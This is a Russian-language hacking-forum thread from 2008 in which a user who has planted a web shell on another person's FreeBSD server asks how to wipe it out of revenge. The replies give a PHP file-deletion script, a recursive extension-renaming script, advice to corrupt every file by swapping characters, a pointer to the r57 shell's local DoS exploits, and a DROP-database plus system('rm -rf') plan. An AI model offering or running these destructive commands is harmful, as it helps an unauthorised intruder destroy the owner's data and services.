Как положить сервер
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Как положить сервер - 2008-09-04 12:27:04.190000
|
|
|
AntiBigBrozer
Сообщений: 2
Оценки: 0
Присоединился: 2008-09-04 11:34:44.793333
|
Или по крайней мере на время вывести из строя. Сразу скажу - делаю это не по злобе душевной. Просто, человек, кому это принадлежит очнень сильно мне насолил (скрысил дохрена денег). Что имею на текущий момент: 1. Сервере под фряхой 6.2, апач 1.3.39, php 5.2.4 2. Туда загружен шелл и есть возможность выполнять заливать файлы и выполнять php команды Идеальный вариант - это форматнуть винчестер, только я не знаю как, может подскажет кто? Или может есть какая нибудь скриптина, которая стирает все файлы с сервера?
|
|
|
RE: Как положить сервер - 2008-09-04 12:49:51.823333
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Удалить все файлы:
<?php
set_time_limit(0);
foreach (glob("C:/*") as $filename)
{
unlink($filename);
}
?>
Или так: скрипт смотрит все файлы в данном каталоге, и изменяет расширения этих фалов на заданные Вами:
<?php
$star= 'txt'; // Расширение ДО
$nov = 'php';//Расширение ПОСЛЕ
function listDir ($url) {
$i = 0;
$dir = opendir(".");
while (false !== ($file = readdir($dir))) {
if(($file !=".") && ($file !="..")) {
$outp[$i] = $file;
++$i;
}
}
closedir($dir);
return $outp;
}
function fil_list($path) {
global $star, $nov;
$path_array = listDir($path);
for($i=0; $i < count($path_array); $i++) {
if ($path > '') $p = '/';
else $p = '';
$ls = $path.$p.$path_array[$i];
if (@is_dir($ls)) fil_list($ls);
else if (preg_match('/\.'.$star.'$/i', $ls)) {
$fd_new = substr($ls, 0, strlen($ls)-strlen($star)).$nov;
rename ($ls, $fd_new);
echo $ls.' >>> '.$fd_new.'<br>';
}
}
}
fil_list($start_dir);
?>
|
|
|
RE: Как положить сервер - 2008-09-04 12:58:38.356666
|
|
|
AntiBigBrozer
Сообщений: 2
Оценки: 0
Присоединился: 2008-09-04 11:34:44.793333
|
Спасибо. А первый скрипт удалит только файлы которые в корне диска или и по каталогам пройдется?
|
|
|
RE: Как положить сервер - 2008-09-04 19:11:48.530000
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Только в каталоге. Например в www. Но это очень явно:)) Можно еще открыть все файлы и заменить например англ. "a" на русскую "а". <===Здесь указаны именно русс и англ версии. Последствия - сам понимаешь
|
|
|
RE: Как положить сервер - 2008-09-04 19:45:07.730000
|
|
|
Sh1td0wn
Сообщений: 156
Оценки: 0
Присоединился: 2008-05-16 16:48:32.490000
|
quote:
foreach (glob("C:/*") as $filename) там же ФРЯ!!!
|
|
|
RE: Как положить сервер - 2008-09-05 00:32:07.566666
|
|
|
RanDoMix
Сообщений: 1568
Оценки: 0
Присоединился: 2007-10-20 20:09:28.990000
|
Залей туда ачатовский р57. Там есть локальные DoS сплоиты.
|
|
|
RE: Как положить сервер - 2008-09-05 00:48:20.166666
|
|
|
Roneon
Сообщений: 220
Оценки: 0
Присоединился: 2004-03-12 09:02:53
|
хм… по-моему, проще просто удалить сайт и базу. посмотри логин, пасс, хост и название базы, один sql-запрос delete database xxx, после чего <? system("rm -rf самая верхняя директория, к которой есть доступ"); ?>. Ну и можно после этого заполнить весь сайт фотографиями Чёрного Властелина.
|
|
|
|
|